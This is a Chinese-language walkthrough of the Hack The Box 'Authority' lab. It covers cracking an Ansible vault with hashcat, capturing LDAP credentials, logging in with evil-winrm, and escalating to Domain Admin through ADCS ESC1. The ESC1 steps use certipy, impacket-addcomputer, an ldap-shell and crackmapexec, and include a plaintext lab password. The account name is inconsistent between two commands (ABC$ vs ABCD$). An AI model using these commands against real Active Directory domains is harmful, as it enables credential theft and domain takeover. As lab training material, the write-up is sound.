记录HTB-Authority靶机重要操作,主要是Ansible 凭证以及ESC1漏洞利用部分。

1、Ansible

简介

Ansible 是一款开源 IT 自动化工具,能够自动执行置备、配置管理、应用部署、编排和许多其他手动 IT 流程。与更为简易的管理工具不同,Ansible 用户(如系统管理员、开发人员和架构师)可以运用 Ansible 自动化,在整个企业范围内更高效地安装软件、自动执行日常任务、置备基础架构、提高安全性和合规性、修补系统并共享自动化。

vault hash值爆破

1
hashcat -m 16900 -O -a 0 -o hash.out hash --session=vault /usr/share/wordlists/rockyou.txt

拿到密码后,破解main.yml文件的vault值:

1
ansible localhost -m debug -a var="pwm_admin_password" -e "@main.yml" --vault-password-file=/home/kali/box/pass

2、利用responder获取ldap用户名密码,之后利用evil-winrm获取立足点

1
evil-winrm -i authority.htb -u "svc_ldap" -p 'lDaP_1n_th3_cle4r!'

3、提权(ESC1利用)

ESC1漏洞原理

在ADCS中,错误配置会导致普通域用户到域管理员的提权,当证书模板允许指定subjectAltName时,就可以为另一个用户请求证书。如果EKU指定客户端身份验证或ANY,则可以将其用于提权。可以利用certipy检测。

ESC1利用条件

1、需要有权限去获取证书
2、能够登记为客户端身份验证或智能卡登录等
3、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启

利用过程

利用certipy查看有哪些凭证模块能够利用

1
certipy-ad find -u svc_ldap -p lDaP_1n_th3_cle4r! -dc-ip 10.10.11.222 -enable -vulnerable -stdout

CorpVPN这个模板里存在ESC1漏洞,而要利用这个凭证模板漏洞,我们需要创建一个域机器账户,,svc_ldap这个用户有这个权限

1
2
impacket-addcomputer authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' -computer-name ABC$ -computer-pass passwd12
certipy-ad req -username ABCD$ -password passwd12 -ca 'AUTHORITY-CA' -target 10.10.11.222 -template 'CorpVpn' -upn "administrator@authority.htb" -dns authority.authority.htb

利用下载好的管理员凭证打开ldap-shell

1
2
3
4
certipy auth -pfx administrator_authority.pfx -dc-ip 10.10.11.222 -ldap-shell
add_user <give_any_username>
change-password <username> "<give_any_password>"
add_user_to_group <given_username> 'Domain Admins'

最后直接获取相关权限shell,可以用evil-winrm或者crackmapexec winrm

1
crackmapexec winrm -u '<username>' -p '<password>' -dc-ip 10.10.11.222 -x 'type C:\Users\Administrator\Desktop\root.txt'